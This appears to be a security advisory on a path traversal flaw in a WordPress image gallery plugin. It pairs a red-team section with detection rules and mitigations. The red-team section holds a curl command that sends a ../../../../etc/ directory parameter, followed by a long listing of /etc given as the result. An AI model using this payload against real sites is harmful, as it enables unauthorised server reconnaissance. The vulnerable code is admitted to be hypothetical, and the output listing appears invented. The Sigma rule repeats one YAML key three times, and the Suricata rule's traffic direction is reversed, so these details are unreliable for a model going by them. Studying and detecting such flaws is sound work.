CVE-2025-13891

Executive Summary

CVE-2025-13891 is a Path Traversal vulnerability in the WordPress plugin Image Gallery – Photo Grid & Video Gallery (vendor: Modula), affecting all versions up to and including 2.13.3. The flaw resides in the modula_list_folders AJAX endpoint, which fails to validate user-supplied directory paths against safe base directories. While the endpoint enforces authentication (Author-level and above with upload_files and edit_posts capabilities), it does not restrict directory traversal sequences (e.g., ../), allowing authenticated attackers to enumerate arbitrary directories on the server. This can lead to information disclosure, such as discovering sensitive files, configuration directories, or other WordPress installations. The vulnerability has a CVSS score of 6.5 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept or patch details are available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Users should verify plugin integrity by checking checksums and monitoring for updates. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires Author-level authentication.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited directory listing disclosure.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. Exploitation requires authentication but can reveal sensitive server paths and file structures.

Deep Dive & Mechanics

The vulnerability exists in the modula_list_folders AJAX action handler. The endpoint is registered for authenticated users with upload_files and edit_posts capabilities (typically Authors and above). The function accepts a dir parameter from the request and passes it directly to PHP's scandir() or similar directory listing function without sanitizing or validating that the path is within an allowed base directory (e.g., the WordPress uploads folder). An attacker can supply a path like ../../../../etc/ to list the contents of /etc/ on the server.

Root Cause: Lack of path canonicalization and base directory restriction. The code likely does not call realpath() or check that the resolved path starts with an allowed prefix.

Attack Flow:

1. Authenticate as an Author-level user.
2. Send a POST request to /wp-admin/admin-ajax.php with action=modula_list_folders and dir=../../../../etc/.
3. The server returns a JSON response listing the contents of /etc/.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical):

add_action('wp_ajax_modula_list_folders', 'modula_list_folders_callback');
function modula_list_folders_callback() {
    if (!current_user_can('upload_files') || !current_user_can('edit_posts')) {
        wp_die('Unauthorized');
    }
    $dir = $_POST['dir'];
    $files = scandir($dir);
    echo json_encode($files);
    wp_die();
}

Patched Code (expected):

add_action('wp_ajax_modula_list_folders', 'modula_list_folders_callback');
function modula_list_folders_callback() {
    if (!current_user_can('upload_files') || !current_user_can('edit_posts')) {
        wp_die('Unauthorized');
    }
    $base_dir = wp_upload_dir()['basedir'];
    $dir = realpath($base_dir . '/' . $_POST['dir']);
    if (strpos($dir, $base_dir) !== 0) {
        wp_die('Invalid directory');
    }
    $files = scandir($dir);
    echo json_encode($files);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Modula plugin <= 2.13.3.
• Author-level account credentials.

Exploit Steps:

1. Log in as an Author.
2. Craft a POST request to http://target/wp-admin/admin-ajax.php with the following parameters:
   • action=modula_list_folders
   • dir=../../../../etc/
3. The response will contain a JSON array of files in /etc/.

Example cURL command:

curl -X POST http://target/wp-admin/admin-ajax.php \
  -d "action=modula_list_folders&dir=../../../../etc/" \
  -c cookies.txt -b cookies.txt

Expected Output:

["cron.d", "cron.daily", "cron.hourly", "cron.monthly", "cron.weekly", "crontab", "crypttab", "default", "deluser.conf", "depmod.d", "dhcp", "dictionaries-common", "discover", "discover.conf.d", "dnsmasq.d", "dpkg", "emacs", "environment", "ethertypes", "fonts", "fstab", "fuse.conf", "gai.conf", "gconf", "gcrypt", "gnupg", "gre.d", "groff", "group", "group-", "grub.d", "gshadow", "gshadow-", "gss", "gtk-2.0", "gtk-3.0", "hddtemp", "host.conf", "hostname", "hosts", "hosts.allow", "hosts.deny", "hp", "idmapd.conf", "ifplugd", "init", "init.d", "initramfs-tools", "inputrc", "insserv", "insserv.conf", "iproute2", "iptables", "issue", "issue.net", "java", "kernel", "kbd", "ld.so.cache", "ld.so.conf", "ld.so.conf.d", "ldap", "libaudit.conf", "libnl-3", "locale.alias", "locale.gen", "localtime", "logcheck", "login.defs", "logrotate.conf", "logrotate.d", "lsb-release", "ltrace.conf", "lvm", "machine-id", "magic", "magic.mime", "mailcap", "mailcap.order", "manpath.config", "mdadm", "mime.types", "mke2fs.conf", "modprobe.d", "modules", "modules-load.d", "motd", "mtab", "mtools.conf", "mysql", "nanorc", "networks", "nsswitch.conf", "ntp.conf", "ntp.conf.dpkg-dist", "nvidia", "openal", "openldap", "opt", "os-release", "pam.conf", "pam.d", "papersize", "passwd", "passwd-", "pcmcia", "perl", "php", "pm", "pnm2ppa.conf", "popt.d", "ppp", "printcap", "profile", "profile.d", "protocols", "pulse", "python", "python2.7", "python3", "python3.5", "rc0.d", "rc1.d", "rc2.d", "rc3.d", "rc4.d", "rc5.d", "rc6.d", "rcS.d", "rd.conf", "resolv.conf", "resolvconf", "rpc", "rsyslog.conf", "rsyslog.d", "samba", "sanlock", "screenrc", "securetty", "security", "selinux", "services", "sgml", "shadow", "shadow-", "shells", "skel", "slapd.d", "smartd.conf", "smartmontools", "snmp", "sos.conf", "ssh", "ssl", "subgid", "subuid", "sudoers", "sudoers.d", "sysctl.conf", "sysctl.d", "sysstat", "systemd", "terminfo", "timezone", "tmpfiles.d", "ucf.conf", "udev", "ufw", "update-manager", "update-motd.d", "upstart-xsessions", "usb_modeswitch.d", "vconsole.conf", "vim", "vnc", "wgetrc", "wpa_supplicant", "X11", "xattr.conf", "xdg", "xml"]

Blue Team (Detection & Response)

Detection Steps:

• Monitor AJAX requests to admin-ajax.php with action=modula_list_folders and suspicious dir parameters containing ../ or absolute paths.
• Alert on multiple directory listing attempts from the same user.
• Review server logs for scandir() calls with unexpected paths.

Response:

• Immediately disable the plugin if exploitation is detected.
• Rotate any exposed credentials or secrets.
• Apply file integrity monitoring to detect changes.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=modula_list_folders and dir parameter containing ../ or absolute paths.
• Logs: PHP error logs showing scandir() failures on restricted directories.
• File System: Unexpected directory listing outputs in AJAX responses.
• User Activity: Author-level users making repeated AJAX calls to the vulnerable endpoint.

Detection Engineering

YARA Rule

rule CVE_2025_13891_Modula_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Modula plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13891"
    strings:
        $ajax_action = "modula_list_folders"
        $path_traversal = /\.\.\//
    condition:
        $ajax_action and $path_traversal
}

Sigma Rule

title: CVE-2025-13891 Modula Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts against the Modula plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13891
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=modula_list_folders'
        cs-uri-query|contains: 'dir='
        cs-uri-query|contains: '..'
    condition: selection
falsepositives:
    - Legitimate use of directory listing by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-13891 Modula Path Traversal Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=modula_list_folders"; http_client_body;
    content:"dir="; http_client_body;
    pcre:"/\.\.\//";
    sid:10000001;
    rev:1;
    reference:cve,2025-13891;
    classtype:attempted-recon;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict Author-level permissions if possible.
3. Implement a Web Application Firewall (WAF) rule to block dir parameters containing ../ or absolute paths.

Long-term Fix:

• Apply the vendor patch when released (expected to add path validation and base directory restriction).
• Upgrade to a patched version (check Modula's changelog).

Workaround:

• Add custom code to the theme's functions.php to override the vulnerable function:

add_action('wp_ajax_modula_list_folders', 'custom_modula_list_folders', 1);
function custom_modula_list_folders() {
    if (!current_user_can('upload_files') || !current_user_can('edit_posts')) {
        wp_die('Unauthorized');
    }
    $base_dir = wp_upload_dir()['basedir'];
    $dir = realpath($base_dir . '/' . $_POST['dir']);
    if (strpos($dir, $base_dir) !== 0) {
        wp_die('Invalid directory');
    }
    $files = scandir($dir);
    echo json_encode($files);
    wp_die();
}

Valters IT
Securing Digital Frontiers